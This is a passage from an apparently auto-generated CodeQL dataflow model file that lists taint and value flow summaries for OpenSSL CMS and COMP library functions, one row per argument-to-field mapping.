"(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_create_ex", "(const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_decrypt", "(CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_EnvelopedData_dup", "(const CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[*0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[*4]", "ReturnValue[*].Field[**receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[1]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *)", "", "Argument[4]", "ReturnValue[*].Field[*receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[*4]", "ReturnValue[*].Field[**receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[**signedContentIdentifier].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_create0_ex", "(unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *)", "", "Argument[4]", "ReturnValue[*].Field[*receiptsTo]", "value", "dfc-generated"] + - ["", "", True, "CMS_ReceiptRequest_free", "(CMS_ReceiptRequest *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_free", "(CMS_ReceiptRequest *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMS_ReceiptRequest_get0_values", "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientEncryptedKey_cert_cmp", "(CMS_RecipientEncryptedKey *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientEncryptedKey_cert_cmp", "(CMS_RecipientEncryptedKey *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kari_orig_id_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kari_orig_id_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_kekri_id_cmp", "(CMS_RecipientInfo *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_RecipientInfo_ktri_cert_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_ktri_cert_cmp", "(CMS_RecipientInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_RecipientInfo_type", "(CMS_RecipientInfo *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "Argument[**0].Field[**data].Field[**keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "Argument[**0].Field[**keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*2]", "Argument[**0].Field[**data].Field[**entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[*2]", "Argument[**0].Field[**entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[1]", "Argument[**0].Field[**data].Field[*keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[1]", "Argument[**0].Field[*keyInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[2]", "Argument[**0].Field[**data].Field[*entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[2]", "Argument[**0].Field[*entityUInfo]", "value", "dfc-generated"] + - ["", "", True, "CMS_SharedInfo_encode", "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)", "", "Argument[3]", "Argument[**0].Field[**suppPubInfo].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_SignedData_free", "(CMS_SignedData *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_free", "(CMS_SignedData *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_verify", "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "CMS_SignedData_verify", "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_cert_cmp", "(CMS_SignerInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_SignerInfo_cert_cmp", "(CMS_SignerInfo *,X509 *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_algs", "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CMS_SignerInfo_get0_md_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**mctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_md_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*mctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_pkey_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**pctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_pkey_ctx", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*pctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_signature", "(CMS_SignerInfo *)", "", "Argument[*0].Field[**signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_get0_signature", "(CMS_SignerInfo *)", "", "Argument[*0].Field[*signature]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_set1_signer_cert", "(CMS_SignerInfo *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*signer]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_verify_content", "(CMS_SignerInfo *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CMS_SignerInfo_verify_content", "(CMS_SignerInfo *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CMS_add0_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add0_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_ReceiptRequest", "(CMS_SignerInfo *,CMS_ReceiptRequest *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_cert", "(CMS_ContentInfo *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_crl", "(CMS_ContentInfo *,X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_crl", "(CMS_ContentInfo *,X509_CRL *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient_cert", "(CMS_ContentInfo *,X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_recipient_cert", "(CMS_ContentInfo *,X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "CMS_add1_signer", "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "CMS_add_simple_smimecap", "(stack_st_X509_ALGOR **,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_add_smimecap", "(CMS_SignerInfo *,stack_st_X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add_standard_smimecap", "(stack_st_X509_ALGOR **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_decrypt", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_decrypt", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_decrypt_set1_pkey", "(CMS_ContentInfo *,EVP_PKEY *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_decrypt_set1_pkey_and_peer", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_digest_verify", "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_final", "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)", "", "Argument[2]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_final_digest", "(CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_get0_content", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CMS_get0_content", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_get0_type", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[**contentType]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_get0_type", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[*contentType]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_signed_add1_attr", "(CMS_SignerInfo *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "Argument[*0].Field[**signedAttrs].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr", "(const CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_by_NID", "(const CMS_SignerInfo *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_by_OBJ", "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_count", "(const CMS_SignerInfo *)", "", "Argument[*0].Field[**signedAttrs].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_unsigned_add1_attr", "(CMS_SignerInfo *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "Argument[*0].Field[**unsignedAttrs].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr", "(const CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_by_NID", "(const CMS_SignerInfo *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_by_OBJ", "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_count", "(const CMS_SignerInfo *)", "", "Argument[*0].Field[**unsignedAttrs].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[4]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[4]", "Argument[*4].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_method", "(const COMP_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_method", "(const COMP_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_type", "(const COMP_CTX *)", "", "Argument[*0].Field[**meth].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_new", "(COMP_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_new", "(COMP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "COMP_compress_block", "(COMP_CTX *,unsigned char *,int,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "COMP_expand_block", "(COMP_CTX *,unsigned char *,int,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*expand_in]", "taint", "dfc-generated"] + - ["", "", True, "COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_get_type", "(const COMP_METHOD *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_flags", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", 